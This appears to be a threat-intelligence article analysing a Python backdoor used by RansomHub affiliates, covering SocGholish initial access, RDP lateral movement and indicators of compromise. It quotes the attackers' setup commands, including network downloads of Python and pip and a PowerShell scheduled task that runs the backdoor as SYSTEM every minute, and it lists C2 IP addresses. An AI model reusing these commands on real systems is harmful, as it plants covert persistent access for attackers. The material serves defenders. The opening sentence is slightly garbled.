Python Malware Fuels RansomHub Exploiting Networks with Precision

In an alarming incident reported in Q4 2024, reveals evidence of a sophisticated threat actor utilizing a Python-based backdoor to maintain persistent access to compromised endpoints. This breach was exploited to deploy RansomHub encryptors across the impacted network. Earlier, in February 2024, ReliaQuest documented a prior version of this malware, highlighting the continuous evolution of this malicious tool.

Key Features of the Latest Python Backdoor

GuidePoint’s investigation revealed critical updates in the latest variant of the Python-based backdoor, setting it apart from its predecessors. Key distinctions include:

Obfuscation Techniques: Utilized [PyObfuscate[.]com](https://blog.sucuri.net/2024/06/socgholish-malware.html) for code obfuscation to evade detection.
Deployment Method: Exploited Remote Desktop Protocol (RDP) for lateral movement.
Unique Indicators of Compromise (IoC): Introduced distinct filenames, scheduled task names, and command-and-control (C2) addresses.

Collaboration with cybersecurity experts, including @drb_ra, resulted in the publication of 18 C2 IP addresses on GitHub under the repository “drb-ra/C2IntelFeeds.”

The Deployment Process

The malware deployment followed a systematic and precise methodology:

Initial Access: SocGholish (FakeUpdate) was identified as the initial access vector.
Python Backdoor Deployment: Dropped on the initial compromised system 20 minutes post-infection.
Lateral Movement: Additional systems were infected via RDP.

The five-step process for installing Python and deploying the backdoor included:

Navigating to the target directory: `C:\users\<redacted>\appdata\local\connecteddevicesplatform`
Installing Python:

   wget https://www.python.org/ftp/python/3.12.0/python-3.12.0-embed-amd64.zip -OutFile .\python3.12.zip

Setting up PIP and required libraries:

   wget https://bootstrap.pypa.io/pip/pip.pyz -OutFile .\pip.pyz; .\pythonw.exe pip.pyz --trusted-host files.pythonhosted.org --trusted-host pypi.org install pycryptodome virtualenv requests pipx --upgrade pip --no-warn-script-location;

Creating a Python proxy script: `get-pip2.pyd`
Establishing persistence with scheduled tasks:

   powershell $a = New-ScheduledTaskAction -WorkingDirectory 'C:\Users\<redacted>\AppData\Local\ConnectedDevicesPlatform\get-pip' -Execute 'pythonw.exe' -Argument 'get-pip2.pyd'; $t = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1); $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit '00:00:00' -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName 'get-pip2' -Action $a -Trigger $t -Settings $s -User 'system'

Technical Analysis of the Python Script

Functionality

The backdoor functions as a reverse proxy, creating a SOCKS5-like tunnel to enable lateral movement. Key operations include:

Establishing an initial TCP connection to a hardcoded IP address.
Utilizing the received data to create a secondary connection.
Acting as a proxy for threat actor communication.

Obfuscation and AI-Generated Code

The script employs advanced obfuscation techniques and demonstrates exceptional coding standards. Observations include:

Polished Code: Suggestive of meticulous programming or AI-assisted code generation.
Structured Design: Utilized classes, descriptive method names, and robust error handling.
Dynamic Variables: Hardcoded IPs and ports ensure seamless operation.

C2 Behavior

The backdoor’s C2 communications involve:

TCP socket creation and idle state awaiting specific bytes.
Secondary TCP connection based on received data.
SOCKS5-like tunnel establishment for proxied traffic.

Evidence of Advanced Persistence

The malware’s persistence strategy involves:

Regular execution via scheduled tasks.
Frequent updates to evade detection.
Leveraging obfuscated versions for minimal VirusTotal detection. Notably, VirusTotal’s report on the malware highlighted zero detections at the time of upload.

Indicators of Compromise (IoC)

Key IoCs include:

Filename: `get-pip2.pyd`
Task Name: `get-pip2`
SHA256 Hash: `5089fd6ce6d8c0fca8d9c4af7441ee9198088bfba6e200e27fe30d3bc0c6401c`
C2 IPs: Examples include `185.174.101.240`, `38.180.81.153`, and `104.238.61.144` (full list available on GitHub).

Key Takeaways

RansomHub affiliates are leveraging Python-based backdoors for persistence and evasion.
The adoption of AI in malware development is an emerging trend.
Continuous monitoring and collaboration are essential to counter these threats. Halcyon’s detailed threat insights provide further context on this evolution.